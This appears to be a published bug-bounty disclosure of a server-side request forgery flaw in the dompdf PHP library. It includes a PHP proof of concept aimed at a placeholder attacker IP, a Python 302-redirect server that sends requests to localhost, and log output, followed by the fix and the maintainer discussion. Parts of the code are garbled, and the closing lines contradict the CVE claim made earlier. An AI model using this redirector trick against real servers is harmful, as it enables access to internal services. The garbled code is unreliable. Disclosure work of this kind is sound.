## Server-Side Request Forgery (SSRF) in dompdf/dompdf



Reported on Jan 2nd 2022

# Description

DomPDF uses file\_get\_contents to obtain HTTP files when allow\_url\_fopen is "On". On default contexts, file\_get\_contents will redirect whenever served with a 302 response. When developers use DomPDF with isRemoteEnabled set to "true" and allow\_url\_fopen set to "true", but restrict IP addresses via a deny list, it is possible for an attacker to pass in a URL which passes this deny list but serves a 302 redirect response to a restricted IP address. When this URL enters dompdf, file\_get\_contents() will both follow the redirection and cause an SSRF vulnerability.

### Proof of Concept - allow\_url\_fopen is turned on

poc.php

```
<?php

//URL variable

$url = "http://[ATTACKER-IP]";

require_once 'dompdf/autoload.inc.php';

use Dompdf\Dompdf;
use Dompdf\Options;

$options = new Options();

$options->set('isRemoteEnabled', true);

$dompdf = new Dompdf($options);

$host = parse_url($url, PHP_URL_HOST);

$in = gethostbyname($host);
```

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```
pip - gethostoyname(phost),
 if ($ip !== "127.0.0.1") {
    $dompdf->loadHtmlFile($url);
    $dompdf->setPaper('A4', 'landscape');
    $dompdf->render();
    $dompdf->stream();
 ?>
redirector.py - hosted on "http://[ATTACKER-IP]
 #!/usr/bin/env python3
 #python3 redirector.py 80 http://127.0.0.1:8000/
 import sys
 from http.server import HTTPServer, BaseHTTPRequestHandler
 if len(sys.argv)-1 != 2:
     print("Usage: {} <port number> <url>".format(sys.argv[0]))
     sys.exit()
 class Redirect(BaseHTTPRequestHandler):
    def do GET(self):
        self.send response(302)
        self.send header('Location', sys.argv[2])
        self.end headers()
 HTTPServer(("", int(sys.argv[1])), Redirect).serve forever()
Result -
 root@test:/home/test# python3 -m http.server 8000
 Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
 127.0.0.1 - - [02/Jan/2022 05:38:20] "GET / HTTP/1.0" 200 -
 127.0.0.1 - - [02/Jan/2022 05:38:31] "GET / HTTP/1.0" 200 -
                                                                   Chat with us
```

### **impact**

On default contexts, when a developer wants to allow remote fetching in DomPDF but implements deny lists for private IP addresses, then an attacker can easily bypass the deny list by hosting a server with a 302 redirect response to an internal IP address. DomPDF will follow the redirection to the private IP address. (SSRF)

### Recommended Fix

Disable file\_get\_contents redirection in the default context, since curl already disables it by default, this can be done by easily replacing the following default context at https://github.com/dompdf/dompdf/blob/e71dfa4b6ee733430548ebc8708e3f49909aaf8e/src/Helpers.php#L859 with

```
stream_context_create(['http' => ['follow_location' => false]]);
```

**CVE** 

CVE-2022-0085 (Dublished)

**Vulnerability Type** 

CWE-918: Server-Side Request Forgery (SSRF)

Severity

Low (3.7)

Visibility

Public

Status

Fixed

#### Found by



This report was seen 1,019 times

haxatron modified the report a year ago

We have contacted a member of the **dompdf** team and are waiting to hear back a year ago

A dompdf/dompdf maintainer validated this vulnerability a year ago

haxatron has been awarded the disclosure bounty 🗸

The fix bounty is now up for grabs

A dompdf/dompdf maintainer 8 months ago

Maintainer

I implemented the suggested change within the following batch of commits: https://github.com/dompdf/dompdf/compare/b47cfe3...cbdf99?expand=1

I'm also thinking of adding a section to the "Securing Dompdf" document regarding the importance of sanitizing (untrusted) user input. https://github.com/dompdf/dompdf/wiki/Securing-dompdf

haxatron 8 months ago

Researcher

lgtm!

A dompdf/dompdf maintainer marked this as fixed in 2.0.0 with commit bblef6 5 months ago

The fix bounty has been dropped X

This vulnerability will not receive a CVE x

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